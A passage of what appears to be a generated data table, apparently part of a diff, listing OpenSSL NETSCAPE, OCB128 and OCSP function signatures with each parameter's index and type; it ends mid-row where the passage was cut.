NETSCAPE_ENCRYPTED_PKEY_free | 0 | NETSCAPE_ENCRYPTED_PKEY * | +| (NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long) | | d2i_NETSCAPE_ENCRYPTED_PKEY | 0 | NETSCAPE_ENCRYPTED_PKEY ** | +| (NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long) | | d2i_NETSCAPE_ENCRYPTED_PKEY | 1 | const unsigned char ** | +| (NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long) | | d2i_NETSCAPE_ENCRYPTED_PKEY | 2 | long | +| (NETSCAPE_PKEY *) | | NETSCAPE_PKEY_free | 0 | NETSCAPE_PKEY * | +| (NETSCAPE_PKEY **,const unsigned char **,long) | | d2i_NETSCAPE_PKEY | 0 | NETSCAPE_PKEY ** | +| (NETSCAPE_PKEY **,const unsigned char **,long) | | d2i_NETSCAPE_PKEY | 1 | const unsigned char ** | +| (NETSCAPE_PKEY **,const unsigned char **,long) | | d2i_NETSCAPE_PKEY | 2 | long | +| (NETSCAPE_SPKAC *) | | NETSCAPE_SPKAC_free | 0 | NETSCAPE_SPKAC * | +| (NETSCAPE_SPKAC **,const unsigned char **,long) | | d2i_NETSCAPE_SPKAC | 0 | NETSCAPE_SPKAC ** | +| (NETSCAPE_SPKAC **,const unsigned char **,long) | | d2i_NETSCAPE_SPKAC | 1 | const unsigned char ** | +| (NETSCAPE_SPKAC **,const unsigned char **,long) | | d2i_NETSCAPE_SPKAC | 2 | long | +| (NETSCAPE_SPKI *) | | NETSCAPE_SPKI_b64_encode | 0 | NETSCAPE_SPKI * | +| (NETSCAPE_SPKI *) | | NETSCAPE_SPKI_free | 0 | NETSCAPE_SPKI * | +| (NETSCAPE_SPKI **,const unsigned char **,long) | | d2i_NETSCAPE_SPKI | 0 | NETSCAPE_SPKI ** | +| (NETSCAPE_SPKI **,const unsigned char **,long) | | d2i_NETSCAPE_SPKI | 1 | const unsigned char ** | +| (NETSCAPE_SPKI **,const unsigned char **,long) | | d2i_NETSCAPE_SPKI | 2 | long | +| (NETSCAPE_SPKI *,EVP_PKEY *,const EVP_MD *) | | NETSCAPE_SPKI_sign | 0 | NETSCAPE_SPKI * | +| (NETSCAPE_SPKI *,EVP_PKEY *,const EVP_MD *) | | NETSCAPE_SPKI_sign | 1 | EVP_PKEY * | +| (NETSCAPE_SPKI *,EVP_PKEY *,const EVP_MD *) | | NETSCAPE_SPKI_sign | 2 | const EVP_MD * | +| (NISTZ256_PRE_COMP *) | | EC_nistz256_pre_comp_dup | 0 | NISTZ256_PRE_COMP * | +| (NOTICEREF *) | | NOTICEREF_free | 0 | NOTICEREF * | +| (NOTICEREF **,const unsigned char **,long) | | d2i_NOTICEREF | 0 | NOTICEREF ** | +| (NOTICEREF **,const unsigned char **,long) | | d2i_NOTICEREF | 1 | const unsigned char ** | +| (NOTICEREF **,const unsigned char **,long) | | d2i_NOTICEREF | 2 | long | +| (OCB128_CONTEXT *,OCB128_CONTEXT *,void *,void *) | | CRYPTO_ocb128_copy_ctx | 0 | OCB128_CONTEXT * | +| (OCB128_CONTEXT *,OCB128_CONTEXT *,void *,void *) | | CRYPTO_ocb128_copy_ctx | 1 | OCB128_CONTEXT * | +| (OCB128_CONTEXT *,OCB128_CONTEXT *,void *,void *) | | CRYPTO_ocb128_copy_ctx | 2 | void * | +| (OCB128_CONTEXT *,OCB128_CONTEXT *,void *,void *) | | CRYPTO_ocb128_copy_ctx | 3 | void * | +| (OCB128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_ocb128_aad | 0 | OCB128_CONTEXT * | +| (OCB128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_ocb128_aad | 1 | const unsigned char * | +| (OCB128_CONTEXT *,const unsigned char *,size_t) | | CRYPTO_ocb128_aad | 2 | size_t | +| (OCB128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_ocb128_decrypt | 0 | OCB128_CONTEXT * | +| (OCB128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_ocb128_decrypt | 1 | const unsigned char * | +| (OCB128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_ocb128_decrypt | 2 | unsigned char * | +| (OCB128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_ocb128_decrypt | 3 | size_t | +| (OCB128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_ocb128_encrypt | 0 | OCB128_CONTEXT * | +| (OCB128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_ocb128_encrypt | 1 | const unsigned char * | +| (OCB128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_ocb128_encrypt | 2 | unsigned char * | +| (OCB128_CONTEXT *,const unsigned char *,unsigned char *,size_t) | | CRYPTO_ocb128_encrypt | 3 | size_t | +| (OCB128_CONTEXT *,unsigned char *,size_t) | | CRYPTO_ocb128_tag | 0 | OCB128_CONTEXT * | +| (OCB128_CONTEXT *,unsigned char *,size_t) | | CRYPTO_ocb128_tag | 1 | unsigned char * | +| (OCB128_CONTEXT *,unsigned char *,size_t) | | CRYPTO_ocb128_tag | 2 | size_t | +| (OCB128_CONTEXT *,void *,void *,block128_f,block128_f,ocb128_f) | | CRYPTO_ocb128_init | 0 | OCB128_CONTEXT * | +| (OCB128_CONTEXT *,void *,void *,block128_f,block128_f,ocb128_f) | | CRYPTO_ocb128_init | 1 | void * | +| (OCB128_CONTEXT *,void *,void *,block128_f,block128_f,ocb128_f) | | CRYPTO_ocb128_init | 2 | void * | +| (OCB128_CONTEXT *,void *,void *,block128_f,block128_f,ocb128_f) | | CRYPTO_ocb128_init | 3 | block128_f | +| (OCB128_CONTEXT *,void *,void *,block128_f,block128_f,ocb128_f) | | CRYPTO_ocb128_init | 4 | block128_f | +| (OCB128_CONTEXT *,void *,void *,block128_f,block128_f,ocb128_f) | | CRYPTO_ocb128_init | 5 | ocb128_f | +| (OCSP_BASICRESP *) | | OCSP_BASICRESP_free | 0 | OCSP_BASICRESP * | +| (OCSP_BASICRESP **,const unsigned char **,long) | | d2i_OCSP_BASICRESP | 0 | OCSP_BASICRESP ** | +| (OCSP_BASICRESP **,const unsigned char **,long) | | d2i_OCSP_BASICRESP | 1 | const unsigned char ** | +| (OCSP_BASICRESP **,const unsigned char **,long) | | d2i_OCSP_BASICRESP | 2 | long | +| (OCSP_BASICRESP *,OCSP_CERTID *,int) | | OCSP_resp_find | 0 | OCSP_BASICRESP * | +| (OCSP_BASICRESP *,OCSP_CERTID *,int) | | OCSP_resp_find | 1 | OCSP_CERTID * | +| (OCSP_BASICRESP *,OCSP_CERTID *,int) | | OCSP_resp_find | 2 | int | +| (OCSP_BASICRESP *,OCSP_CERTID *,int,int,ASN1_TIME *,ASN1_TIME *,ASN1_TIME *) | | OCSP_basic_add1_status | 0 | OCSP_BASICRESP * | +| (OCSP_BASICRESP *,OCSP_CERTID *,int,int,ASN1_TIME *,ASN1_TIME *,ASN1_TIME *) | | OCSP_basic_add1_status | 1 | OCSP_CERTID * | +| (OCSP_BASICRESP *,OCSP_CERTID *,int,int,ASN1_TIME *,ASN1_TIME *,ASN1_TIME *) | | OCSP_basic_add1_status | 2 | int | +| (OCSP_BASICRESP *,OCSP_CERTID *,int,int,ASN1_TIME *,ASN1_TIME *,ASN1_TIME *) | | OCSP_basic_add1_status | 3 | int | +| (OCSP_BASICRESP *,OCSP_CERTID *,int,int,ASN1_TIME *,ASN1_TIME *,ASN1_TIME *) | | OCSP_basic_add1_status | 4 | ASN1_TIME * | +| (OCSP_BASICRESP *,OCSP_CERTID *,int,int,ASN1_TIME *,ASN1_TIME *,ASN1_TIME *) | | OCSP_basic_add1_status | 5 | ASN1_TIME * | +| (OCSP_BASICRESP *,OCSP_CERTID *,int,int,ASN1_TIME *,ASN1_TIME *,ASN1_TIME *) | | OCSP_basic_add1_status | 6 | ASN1_TIME * | +| (OCSP_BASICRESP *,OCSP_REQUEST *) | | OCSP_copy_nonce | 0 | OCSP_BASICRESP * | +| (OCSP_BASICRESP *,OCSP_REQUEST *) | | OCSP_copy_nonce | 1 | OCSP_REQUEST * | +| (OCSP_BASICRESP *,X509 *) | | OCSP_basic_add1_cert | 0 | OCSP_BASICRESP * | +| (OCSP_BASICRESP *,X509 *) | | OCSP_basic_add1_cert | 1 | X509 * | +| (OCSP_BASICRESP *,X509 **,stack_st_X509 *) | | OCSP_resp_get0_signer | 0 | OCSP_BASICRESP * | +| (OCSP_BASICRESP *,X509 **,stack_st_X509 *) | | OCSP_resp_get0_signer | 1 | X509 ** | +| (OCSP_BASICRESP *,X509 **,stack_st_X509 *) | | OCSP_resp_get0_signer | 2 | stack_st_X509 * | +| (OCSP_BASICRESP *,X509 *,EVP_MD_CTX *,stack_st_X509 *,unsigned long) | | OCSP_basic_sign_ctx | 0 | OCSP_BASICRESP * | +| (OCSP_BASICRESP *,X509 *,EVP_MD_CTX *,stack_st_X509 *,unsigned long) | | OCSP_basic_sign_ctx | 1 | X509 * | +| (OCSP_BASICRESP *,X509 *,EVP_MD_CTX *,stack_st_X509 *,unsigned long) | | OCSP_basic_sign_ctx | 2 | EVP_MD_CTX * | +| (OCSP_BASICRESP *,X509 *,EVP_MD_CTX *,stack_st_X509 *,unsigned long) | | OCSP_basic_sign_ctx | 3 | stack_st_X509 * | +| (OCSP_BASICRESP *,X509 *,EVP_MD_CTX *,stack_st_X509 *,unsigned long) | | OCSP_basic_sign_ctx | 4 | unsigned long | +| (OCSP_BASICRESP *,X509 *,EVP_PKEY *,const EVP_MD *,stack_st_X509 *,unsigned long) | | OCSP_basic_sign | 0 | OCSP_BASICRESP * | +| (OCSP_BASICRESP *,X509 *,EVP_PKEY *,const EVP_MD *,stack_st_X509 *,unsigned long) | | OCSP_basic_sign | 1 | X509 * | +| (OCSP_BASICRESP *,X509 *,EVP_PKEY *,const EVP_MD *,stack_st_X509 *,unsigned long) | | OCSP_basic_sign | 2 | EVP_PKEY * | +| (OCSP_BASICRESP *,X509 *,EVP_PKEY *,const EVP_MD *,stack_st_X509 *,unsigned long) | | OCSP_basic_sign | 3 | const EVP_MD * | +| (OCSP_BASICRESP *,X509 *,EVP_PKEY *,const EVP_MD *,stack_st_X509 *,unsigned long) | | OCSP_basic_sign | 4 | stack_st_X509 * | +| (OCSP_BASICRESP *,X509 *,EVP_PKEY *,const EVP_MD *,stack_st_X509 *,unsigned long) | | OCSP_basic_sign | 5 | unsigned long | +| (OCSP_BASICRESP *,X509_EXTENSION *,int) | | OCSP_BASICRESP_add_ext | 0 | OCSP_BASICRESP * | +| (OCSP_BASICRESP *,X509_EXTENSION *,int) | | OCSP_BASICRESP_add_ext | 1 | X509_EXTENSION * | +| (OCSP_BASICRESP *,X509_EXTENSION *,int) | | OCSP_BASICRESP_add_ext | 2 | int | +| (OCSP_BASICRESP *,const ASN1_OBJECT *,int) | | OCSP_BASICRESP_get_ext_by_OBJ | 0 | OCSP_BASICRESP * | +| (OCSP_BASICRESP *,const ASN1_OBJECT *,int) | | OCSP_BASICRESP_get_ext_by_OBJ | 1 | const ASN1_OBJECT * | +| (OCSP_BASICRESP *,const ASN1_OBJECT *,int) | | OCSP_BASICRESP_get_ext_by_OBJ | 2 | int | +| (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_delete_ext | 0 | OCSP_BASICRESP * | +| (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_delete_ext | 1 | int | +| (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_get_ext | 0 | OCSP_BASICRESP * | +| (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_get_ext | 1 | int | +| (OCSP_BASICRESP *,int) | | OCSP_resp_get0 | 0 | OCSP_BASICRESP * | +| (OCSP_BASICRESP *,int) | | OCSP_resp_get0 | 1 | int | +| (OCSP_BASICRESP *,int,int *,int *) | | OCSP_BASICRESP_get1_ext_d2i | 0 | OCSP_BASICRESP * | +| (OCSP_BASICRESP *,int,int *,int *) | | OCSP_BASICRESP_get1_ext_d2i | 1 | int | +| (OCSP_BASICRESP *,int,int *,int *) | | OCSP_BASICRESP_get1_ext_d2i | 2 | int * | +| (OCSP_BASICRESP *,int,int *,int *) | | OCSP_BASICRESP_get1_ext_d2i | 3 | int * | +| (OCSP_BASICRESP *,int,int) | | OCSP_BASICRESP_get_ext_by_NID | 0 | OCSP_BASICRESP * | +| (OCSP_BASICRESP *,int,int) | | OCSP_BASICRESP_get_ext_by_NID | 1 | int | +| (OCSP_BASICRESP *,int,int) | | OCSP_BASICRESP_get_ext_by_NID | 2 | int | +| (OCSP_BASICRESP *,int,int) | | OCSP_BASICRESP_get_ext_by_critical | 0 | OCSP_BASICRESP * | +| (OCSP_BASICRESP *,int,int) | | OCSP_BASICRESP_get_ext_by_critical | 1 | int | +| (OCSP_BASICRESP *,int,int) | | OCSP_BASICRESP_get_ext_by_critical | 2 | int | +| (OCSP_BASICRESP *,int,void *,int,unsigned long) | | OCSP_BASICRESP_add1_ext_i2d | 0 | OCSP_BASICRESP * | +| (OCSP_BASICRESP *,int,void *,int,unsigned long) | | OCSP_BASICRESP_add1_ext_i2d | 1 | int | +| (OCSP_BASICRESP *,int,void *,int,unsigned long) | | OCSP_BASICRESP_add1_ext_i2d | 2 | void * | +| (OCSP_BASICRESP *,int,void *,int,unsigned long) | | OCSP_BASICRESP_add1_ext_i2d | 3 | int | +| (OCSP_BASICRESP *,int,void *,int,unsigned long) | | OCSP_BASICRESP_add1_ext_i2d | 4 | unsigned long | +| (OCSP_CERTID *) | | OCSP_CERTID_free | 0 | OCSP_CERTID * | +| (OCSP_CERTID **,const unsigned char **,long) | | d2i_OCSP_CERTID | 0 | OCSP_CERTID ** | +| (OCSP_CERTID **,const unsigned char **,long) | | d2i_OCSP_CERTID | 1 | const unsigned char ** | +| (OCSP_CERTID **,const unsigned char **,long) | | d2i_OCSP_CERTID | 2 | long | +| (OCSP_CERTSTATUS *) | | OCSP_CERTSTATUS_free | 0 | OCSP_CERTSTATUS * | +| (OCSP_CERTSTATUS **,const unsigned char **,long) | | d2i_OCSP_CERTSTATUS | 0 | OCSP_CERTSTATUS ** | +| (OCSP_CERTSTATUS **,const unsigned char **,long) | | d2i_OCSP_CERTSTATUS | 1 | const unsigned char ** | +| (OCSP_CERTSTATUS **,const unsigned char **,long) | | d2i_OCSP_CERTSTATUS | 2 | long | +| (OCSP_CRLID *) | | OCSP_CRLID_free | 0 | OCSP_CRLID * | +| (OCSP_CRLID **,const unsigned char **,long) | | d2i_OCSP_CRLID | 0 | OCSP_CRLID ** | +| (OCSP_CRLID **,const unsigned char **,long) | | d2i_OCSP_CRLID | 1 | const unsigned char ** | +| (OCSP_CRLID **,const unsigned char **,long) | | d2i_OCSP_CRLID | 2 | long | +| (OCSP_ONEREQ *) | | OCSP_ONEREQ_free | 0 | OCSP_ONEREQ * | +| (OCSP_ONEREQ *) | | OCSP_ONEREQ_get_ext_count | 0 | OCSP_ONEREQ * | +| (OCSP_ONEREQ *) | | OCSP_onereq_get0_id | 0 | OCSP_ONEREQ * | +| (OCSP_ONEREQ **,const unsigned char **,long) | | d2i_OCSP_ONEREQ | 0 | OCSP_ONEREQ ** | +| (OCSP_ONEREQ **,const unsigned char **,long) | | d2i_OCSP_ONEREQ | 1 | const unsigned char ** | +| (OCSP_ONEREQ **,const unsigned char **,long) | | d2i_OCSP_ONEREQ | 2 | long | +| (OCSP_ONEREQ *,X509_EXTENSION *,int) | | OCSP_ONEREQ_add_ext | 0 | OCSP_ONEREQ * | +| (OCSP_ONEREQ *,X509_EXTENSION *,int) | | OCSP_ONEREQ_add_ext | 1 | X509_EXTENSION * | +| (OCSP_ONEREQ *,X509_EXTENSION *,int) | | OCSP_ONEREQ_add_ext | 2 | int | +| (OCSP_ONEREQ *,const ASN1_OBJECT *,int) | | OCSP_ONEREQ_get_ext_by_OBJ | 0 | OCSP_ONEREQ * | +| (OCSP_ONEREQ *,const ASN1_OBJECT *,int) | | OCSP_ONEREQ_get_ext_by_OBJ | 1 | const ASN1_OBJECT * | +| (OCSP_ONEREQ *,const ASN1_OBJECT *,int) | | OCSP_ONEREQ_get_ext_by_OBJ | 2 | int | +| (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_delete_ext | 0 | OCSP_ONEREQ * | +| (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_delete_ext | 1 | int | +| (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_get_ext | 0 | OCSP_ONEREQ * | +| (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_get_ext | 1 | int | +| (OCSP_ONEREQ *,int,int *,int *) | | OCSP_ONEREQ_get1_ext_d2i | 0 | OCSP_ONEREQ * | +| (OCSP_ONEREQ *,int,int *,int *) | | OCSP_ONEREQ_get1_ext_d2i | 1 | int | +| (OCSP_ONEREQ *,int,int *,int *) | | OCSP_ONEREQ_get1_ext_d2i | 2 | int * | +| (OCSP_ONEREQ *,int,int *,int *) | | OCSP_ONEREQ_get1_ext_d2i | 3 | int * | +| (OCSP_ONEREQ *,int,int) | | OCSP_ONEREQ_get_ext_by_NID | 0 | OCSP_ONEREQ * | +| (OCSP_ONEREQ *,int,int) | | OCSP_ONEREQ_get_ext_by_NID | 1 | int | +| (OCSP_ONEREQ *,int,int) | | OCSP_ONEREQ_get_ext_by_NID | 2 | int | +| (OCSP_ONEREQ *,int,int) | | OCSP_ONEREQ_get_ext_by_critical | 0 | OCSP_ONEREQ * | +| (OCSP_ONEREQ *,int,int) | | OCSP_ONEREQ_get_ext_by_critical | 1 | int | +| (OCSP_ONEREQ *,int,int) | | OCSP_ONEREQ_get_ext_by_critical | 2 | int | +| (OCSP_ONEREQ *,int,void *,int,unsigned long) | | OCSP_ONEREQ_add1_ext_i2d | 0 | OCSP_ONEREQ * | +| (OCSP_ONEREQ *,int,void *,int,unsigned long) | | OCSP_ONEREQ_add1_ext_i2d | 1 | int | +| (OCSP_ONEREQ *,int,void *,int,unsigned long) | | OCSP_ONEREQ_add1_ext_i2d | 2 | void * | +| (OCSP_ONEREQ *,int,void *,int,unsigned long) | | OCSP_ONEREQ_add1_ext_i2d | 3 | int | +| (OCSP_ONEREQ *,int,void *,int,unsigned long) | | OCSP_ONEREQ_add1_ext_i2d | 4 | unsigned long | +| (OCSP_REQINFO *) | | OCSP_REQINFO_free | 0 | OCSP_REQINFO * | +| (OCSP_REQINFO **,const unsigned char **,long) | | d2i_OCSP_REQINFO | 0 | OCSP_REQINFO ** | +| (OCSP_REQINFO **,const unsigned char **,long) | | d2i_OCSP_REQINFO | 1 | const unsigned char ** | +| (OCSP_REQINFO **,const unsigned char **,long) | | d2i_OCSP_REQINFO | 2 | long | +| (OCSP_REQUEST *) | | OCSP_REQUEST_free | 0 | OCSP_REQUEST * | +| (OCSP_REQUEST **,const unsigned char **,long) | | d2i_OCSP_REQUEST | 0 | OCSP_REQUEST ** | +| (OCSP_REQUEST **,const unsigned char **,long) | | d2i_OCSP_REQUEST | 1 | const unsigned char ** | +| (OCSP_REQUEST **,const unsigned char **,long) | | d2i_OCSP_REQUEST | 2 | long | +| (OCSP_REQUEST *,OCSP_CERTID *) | | OCSP_request_add0_id | 0 | OCSP_REQUEST * | +| (OCSP_REQUEST *,OCSP_CERTID *) | | OCSP_request_add0_id | 1 | OCSP_CERTID * | +| (OCSP_REQUEST *,X509 *) | | OCSP_request_add1_cert | 0 | OCSP_REQUEST * | +| (OCSP_REQUEST *,X509 *) | | OCSP_request_add1_cert | 1 | X509 * | +| (OCSP_REQUEST *,X509 *,EVP_PKEY *,const EVP_MD *,stack_st_X509 *,unsigned long) | | OCSP_request_sign | 0 | OCSP_REQUEST * | +| (OCSP_REQUEST *,X509 *,EVP_PKEY *,const EVP_MD *,stack_st_X509 *,unsigned long) | | OCSP_request_sign | 1 | X509 * | +| (OCSP_REQUEST *,X509 *,EVP_PKEY *,const EVP_MD *,stack_st_X509 *,unsigned long) | | OCSP_request_sign | 2 | EVP_PKEY * | +| (OCSP_REQUEST *,X509 *,EVP_PKEY *,const EVP_MD *,stack_st_X509 *,unsigned long) | | OCSP_request_sign | 3 | const EVP_MD * | +| (OCSP_REQUEST *,X509 *,EVP_PKEY *,const EVP_MD *,stack_st_X509 *,unsigned long) | | OCSP_request_sign | 4 | stack_st_X509 * | +| (OCSP_REQUEST *,X509 *,EVP_PKEY *,const EVP_MD *,stack_st_X509 *,unsigned long) | | OCSP_request_sign | 5 | unsigned long | +| (OCSP_REQUEST *,X509_EXTENSION *,int) | | OCSP_REQUEST_add_ext | 0 | OCSP_REQUEST * | +| (OCSP_REQUEST *,X509_EXTENSION *,int) | | OCSP_REQUEST_add_ext | 1 | X509_EXTENSION * | +| (OCSP_REQUEST *,X509_EXTENSION *,int) | | OCSP_REQUEST_add_ext | 2 | int | +| (OCSP_REQUEST *,const ASN1_OBJECT *,int) | | OCSP_REQUEST_get_ext_by_OBJ | 0 | OCSP_REQUEST * | +| (OCSP_REQUEST *,const ASN1_OBJECT *,int) | | OCSP_REQUEST_get_ext_by_OBJ | 1 | const ASN1_OBJECT * | +| (OCSP_REQUEST *,const ASN1_OBJECT *,int) | | OCSP_REQUEST_get_ext_by_OBJ | 2 | int | +| (OCSP_REQUEST *,const X509_NAME *) | | OCSP_request_set1_name | 0 | OCSP_REQUEST * | +| (OCSP_REQUEST *,const X509_NAME *) | | OCSP_request_set1_name | 1 | const X509_NAME * | +| (OCSP_REQUEST *,const char *,const char *,const char *,const char *,const char *,int,stack_st_CONF_VALUE *,int) | | process_responder | 0 | OCSP_REQUEST * | +| (OCSP_REQUEST *,const char *,const char *,const char *,const char *,const char *,int,stack_st_CONF_VALUE *,int) | | process_responder | 1 | const char * | +| (OCSP_REQUEST *,const char *,const char *,const char *,const char *,const char *,int,stack_st_CONF_VALUE *,int) | | process_responder | 2 | const char * | +| (OCSP_REQUEST *,const char *,const char *,const char *,const char *,const char *,int,stack_st_CONF_VALUE *,int) | | process_responder | 3 | const char * | +| (OCSP_REQUEST *,const char *,const char *,const char *,const char *,const char *,int,stack_st_CONF_VALUE *,int) | | process_responder | 4 | const char * | +| (OCSP_REQUEST *,const char *,const char *,const char *,const char *,const char *,int,stack_st_CONF_VALUE *,int) | | process_responder | 5 | const char * | +| (OCSP_REQUEST *,const char *,const char *,const char *,const char *,const char *,int,stack_st_CONF_VALUE *,int) | | process_responder | 6 | int | +| (OCSP_REQUEST *,const char *,const char *,const char *,const char *,const char *,int,stack_st_CONF_VALUE *,int) | | process_responder | 7 | stack_st_CONF_VALUE * | +| (OCSP_REQUEST *,const char *,const char *,const char *,const char *,const char *,int,stack_st_CONF_VALUE *,int) | | process_responder | 8 | int | +| (OCSP_REQUEST *,int) | | OCSP_REQUEST_delete_ext | 0 | OCSP_REQUEST * | +| (OCSP_REQUEST *,int) | | OCSP_REQUEST_delete_ext | 1 | int | +| (OCSP_REQUEST *,int) | | OCSP_REQUEST_get_ext | 0 | OCSP_REQUEST * | +| (OCSP_REQUEST *,int) | | OCSP_REQUEST_get_ext | 1 | int | +| (OCSP_REQUEST *,int) | | OCSP_request_onereq_get0 | 0 | OCSP_REQUEST * | +| (OCSP_REQUEST *,int) | | OCSP_request_onereq_get0 | 1 | int | +| (OCSP_REQUEST *,int,int *,int *) | | OCSP_REQUEST_get1_ext_d2i | 0 | OCSP_REQUEST * | +| (OCSP_REQUEST *,int,int *,int *) | | OCSP_REQUEST_get1_ext_d2i | 1 | int | +| (OCSP_REQUEST *,int,int *,int *) | | OCSP_REQUEST_get1_ext_d2i | 2 | int * | +| (OCSP_REQUEST *,int,int *,int *) | | OCSP_REQUEST_get1_ext_d2i | 3 | int * | +| (OCSP_REQUEST *,int,int) | | OCSP_REQUEST_get_ext_by_NID | 0 | OCSP_REQUEST * | +| (OCSP_REQUEST *,int,int) | | OCSP_REQUEST_get_ext_by_NID | 1 | int | +| (OCSP_REQUEST *,int,int) | | OCSP_REQUEST_get_ext_by_NID | 2 | int | +| (OCSP_REQUEST *,int,int) | | OCSP_REQUEST_get_ext_by_critical | 0 | OCSP_REQUEST * | +| (OCSP_REQUEST *,int,int) | | OCSP_REQUEST_get_ext_by_critical | 1 | int | +| (OCSP_REQUEST *,int,int) | | OCSP_REQUEST_get_ext_by_critical | 2 | int | +| (OCSP_REQUEST *,int,void *,int,unsigned long) | | OCSP_REQUEST_add1_ext_i2d | 0 | OCSP_REQUEST * | +| (OCSP_REQUEST *,int,void *,int,unsigned long) | | OCSP_REQUEST_add1_ext_i2d | 1 | int | +| (OCSP_REQUEST *,int,void *,int,unsigned long) | | OCSP_REQUEST_add1_ext_i2d | 2 | void * | +| (OCSP_REQUEST *,int,void *,int,unsigned long) | | OCSP_REQUEST_add1_ext_i2d | 3 | int | +| (OCSP_REQUEST *,int,void *,int,unsigned long) | | OCSP_REQUEST_add1_ext_i2d | 4 | unsigned long | +| (OCSP_RESPBYTES *) | | OCSP_RESPBYTES_free | 0 | OCSP_RESPBYTES * | +| (OCSP_RESPBYTES **,const unsigned char **,long) | | d2i_OCSP_RESPBYTES | 0 | OCSP_RESPBYTES ** | +| (OCSP_RESPBYTES **,const unsigned char **,long) | | d2i_OCSP_RESPBYTES | 1 | const unsigned char ** | +| (OCSP_RESPBYTES **,const unsigned char **,long) | | d2i_OCSP_RESPBYTES | 2 | long | +| (OCSP_RESPDATA *) | | OCSP_RESPDATA_free | 0 | OCSP_RESPDATA * | +| (OCSP_RESPDATA **,const unsigned char **,long) | | d2i_OCSP_RESPDATA | 0 | OCSP_RESPDATA ** | +| (OCSP_RESPDATA **,const unsigned char **,long) | | d2i_OCSP_RESPDATA | 1 | const unsigned char ** | +| (OCSP_RESPDATA **,const unsigned char **,long) | | d2i_OCSP_RESPDATA | 2 | long | +| (OCSP_RESPID *) | | OCSP_RESPID_free | 0 | OCSP_RESPID * | +| (OCSP_RESPID **,const unsigned char **,long) | | d2i_OCSP_RESPID | 0 | OCSP_RESPID ** | +| (OCSP_RESPID **,const unsigned char **,long) | | d2i_OCSP_RESPID | 1 | const unsigned char ** | +| (OCSP_RESPID **,const unsigned char **,long) | | d2i_OCSP_RESPID | 2 | long | +| (OCSP_RESPID *,X509 *) | | OCSP_RESPID_match | 0 | OCSP_RESPID * | +| (OCSP_RESPID *,X509 *) | | OCSP_RESPID_match | 1 | X509 * | +| (OCSP_RESPID *,X509 *,OSSL_LIB_CTX *,const char *) | | OCSP_RESPID_match_ex | 0 | OCSP_RESPID * | +| (OCSP_RESPID *,X509 *,OSSL_LIB_CTX *,const char *) | | OCSP_RESPID_match_ex | 1 | X509 * | +| (OCSP_RESPID *,X509 *,OSSL_LIB_CTX *,const char *) | | OCSP_RESPID_match_ex | 2 | OSSL_LIB_CTX * | +| (OCSP_RESPID *,X509 *,OSSL_LIB_CTX *,const char *) | | OCSP_RESPID_match_ex | 3 | const char * | +| (OCSP_RESPONSE *) | | OCSP_RESPONSE_free | 0 | OCSP_RESPONSE * | +| (OCSP_RESPONSE *) | | OCSP_response_status | 0 | OCSP_RESPONSE * | +| (OCSP_RESPONSE **,const unsigned char **,long) | | d2i_OCSP_RESPONSE | 0 | OCSP_RESPONSE ** | +| (OCSP_RESPONSE **,const unsigned char **,long) | | d2i_OCSP_RESPONSE | 1 | const unsigned char ** | +| (OCSP_RESPONSE **,const unsigned char **,long) | | d2i_OCSP_RESPONSE | 2 | long | +| (OCSP_REVOKEDINFO *) | | OCSP_REVOKEDINFO_free | 0 | OCSP_REVOKEDINFO * | +| (OCSP_REVOKEDINFO **,const unsigned char **,long) | | d2i_OCSP_REVOKEDINFO | 0 | OCSP_REVOKEDINFO ** | +| (OCSP_REVOKEDINFO **,const unsigned char **,long) | | d2i_OCSP_REVOKEDINFO | 1 | const unsigned char ** | +| (OCSP_REVOKEDINFO **,const unsigned char **,long) | | d2i_OCSP_REVOKEDINFO | 2 | long | +| (OCSP_SERVICELOC *) | | OCSP_SERVICELOC_free | 0 | OCSP_SERVICELOC * | +| (OCSP_SERVICELOC **,const unsigned char **,long) | | d2i_OCSP_SERVICELOC | 0 | OCSP_SERVICELOC ** | +| (OCSP_SERVICELOC **,const unsigned char **,long) | | d2i_OCSP_SERVICELOC | 1 | const unsigned char ** | +| (OCSP_SERVICELOC **,const unsigned char **,long) | | d2i_OCSP_SERVICELOC | 2 | long | +| (OCSP_SIGNATURE *) | | OCSP_SIGNATURE_free | 0 | OCSP_SIGNATURE * | +| (OCSP_SIGNATURE **,const unsigned char **,long) | | d2i_OCSP_SIGNATURE | 0 | OCSP_SIGNATURE ** | +| (OCSP_SIGNATURE **,const unsigned char **,long) | | d2i_OCSP_SIGNATURE | 1 | const unsigned char ** | +| (OCSP_SIGNATURE **,const unsigned char **,long) | | d2i_OCSP_SIGNATURE | 2 | long | +| (OCSP_SINGLERESP *) | | OCSP_SINGLERESP_free | 0 | OCSP_SINGLERESP * | +| (OCSP_SINGLERESP *) | | OCSP_SINGLERESP_get_ext_count | 0 | OCSP_SINGLERESP * | +| (OCSP_SINGLERESP **,const unsigned char **,long) | | d2i_OCSP_SINGLERESP | 0 | OCSP_SINGLERESP ** | +| (OCSP_SINGLERESP **,const unsigned char **,long) | | d2i_OCSP_SINGLERESP | 1 | const unsigned char ** | +| (OCSP_SINGLERESP **,const unsigned char **,long) | | d2i_OCSP_SINGLERESP | 2 | long | +| (OCSP_SINGLERESP *,X509_EXTENSION *,int) | | OCSP_SINGLERESP_add_ext | 0 | OCSP_SINGLERESP * | +| (OCSP_SINGLERESP *,X509_EXTENSION *,int) | | OCSP_SINGLERESP_add_ext | 1 | X509_EXTENSION * | +| (OCSP_SINGLERESP *,X509_EXTENSION *,int) | | OCSP_SINGLERESP_add_ext | 